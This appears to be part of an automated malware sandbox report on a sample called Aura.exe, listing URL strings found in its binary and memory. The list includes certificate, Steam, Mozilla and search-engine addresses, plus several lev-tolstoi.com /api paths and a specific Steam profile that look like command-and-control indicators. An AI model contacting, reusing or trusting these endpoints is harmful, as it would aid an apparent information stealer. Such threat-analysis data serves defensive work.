Source: Aura.exe, 00000002.00000003.1815244598.0000000005B50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Aura.exe, 00000002.00000003.1815244598.0000000005B50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Aura.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: Aura.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: Aura.exe	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: Aura.exe	String found in binary or memory: http://crl.entrust.net/ts1ca.crl0
Source: Aura.exe, 00000002.00000003.1815244598.0000000005B50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Aura.exe, 00000002.00000003.1815244598.0000000005B50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Aura.exe, 00000002.00000003.1815244598.0000000005B50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Aura.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: Aura.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: Aura.exe, 00000002.00000003.1815244598.0000000005B50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Aura.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: Aura.exe, 00000002.00000003.1815244598.0000000005B50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Aura.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: Aura.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: Aura.exe	String found in binary or memory: http://ocsp.entrust.net02
Source: Aura.exe	String found in binary or memory: http://ocsp.entrust.net03
Source: Aura.exe, 00000002.00000003.1815244598.0000000005B50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Aura.exe, 00000002.00000002.3511215128.000000000336C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/acco
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000002.3511215128.000000000336C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: Aura.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: Aura.exe	String found in binary or memory: http://www.entrust.net/rpa03
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: Aura.exe, 00000002.00000003.1815244598.0000000005B50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Aura.exe, 00000002.00000003.1815244598.0000000005B50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Aura.exe, 00000002.00000003.1767549116.0000000005B69000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1766979070.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: Aura.exe, 00000002.00000003.1816553901.0000000005B2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: Aura.exe, 00000002.00000003.1841956357.0000000005B2C000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1842228400.0000000005B2C000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1839023378.0000000005B2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: Aura.exe, 00000002.00000003.1767549116.0000000005B69000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1766979070.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Aura.exe, 00000002.00000003.1767549116.0000000005B69000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1766979070.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Aura.exe, 00000002.00000003.1767549116.0000000005B69000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1766979070.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Aura.exe, 00000002.00000003.1739501843.000000000337A000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: Aura.exe, 00000002.00000003.1739501843.000000000337A000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: Aura.exe, 00000002.00000003.1739501843.000000000337A000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: Aura.exe, 00000002.00000003.1739501843.000000000337A000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=_92TWn81
Source: Aura.exe, 00000002.00000003.1739501843.000000000337A000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=FRRi
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=oOCAGrkRfpQ6&l=e
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: Aura.exe, 00000002.00000003.1816553901.0000000005B2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: Aura.exe, 00000002.00000003.1841956357.0000000005B2C000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1842228400.0000000005B2C000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1839023378.0000000005B2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Aura.exe, 00000002.00000003.1767549116.0000000005B69000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1766979070.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Aura.exe, 00000002.00000003.1767549116.0000000005B69000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1766979070.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Aura.exe, 00000002.00000003.1767549116.0000000005B69000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1766979070.0000000005B6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: Aura.exe, 00000002.00000003.1841956357.0000000005B2C000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1842228400.0000000005B2C000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1839023378.0000000005B2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIX
Source: Aura.exe, 00000002.00000003.1816553901.0000000005B2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: Aura.exe, 00000002.00000003.1739584373.00000000033B8000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000002.3511433189.0000000003415000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.2531562354.0000000003415000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739501843.0000000003382000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/
Source: Aura.exe, 00000002.00000003.2531148527.00000000033B7000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000002.3511215128.00000000033B7000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.2531674049.00000000033B7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com//:O
Source: Aura.exe, 00000002.00000003.1739584373.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.2531562354.00000000033F2000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.2531148527.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000002.3511215128.000000000336C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api
Source: Aura.exe, 00000002.00000002.3511433189.00000000033F4000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.2531562354.00000000033F2000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.2531148527.00000000033D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api1
Source: Aura.exe, 00000002.00000003.1739584373.00000000033D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apib
Source: Aura.exe, 00000002.00000002.3511433189.00000000033F4000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.2531562354.00000000033F2000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.2531148527.00000000033D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apil
Source: Aura.exe, 00000002.00000002.3511215128.000000000336C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apimv
Source: Aura.exe, 00000002.00000002.3511433189.0000000003415000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.2531562354.0000000003415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pi
Source: Aura.exe, 00000002.00000003.1739584373.00000000033B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pi(
Source: Aura.exe, 00000002.00000003.1863854855.0000000003417000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/r
Source: Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: Aura.exe, 00000002.00000003.1739584373.00000000033D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/dn.c
Source: Aura.exe, 00000002.00000002.3511215128.000000000336C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.or
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: Aura.exe, 00000002.00000003.1739501843.0000000003382000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: Aura.exe, 00000002.00000003.1739501843.000000000337A000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: Aura.exe, 00000002.00000003.1739501843.0000000003382000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/765611997243319007
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: Aura.exe, 00000002.00000002.3511215128.000000000336C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampower
Source: Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: Aura.exe, 00000002.00000003.1739457082.000000000340D000.00000004.00000020.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1739487855.0000000003410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: Aura.exe, 00000002.00000003.1769020508.0000000005BC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: Aura.exe, 00000002.00000003.1816181771.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Aura.exe, 00000002.00000003.1816181771.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Aura.exe, 00000002.00000003.1792800080.0000000005B77000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1792942781.0000000005B77000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1769020508.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp, Aura.exe, 00000002.00000003.1769094742.0000000005B77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: Aura.exe, 00000002.00000003.1769094742.0000000005B52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
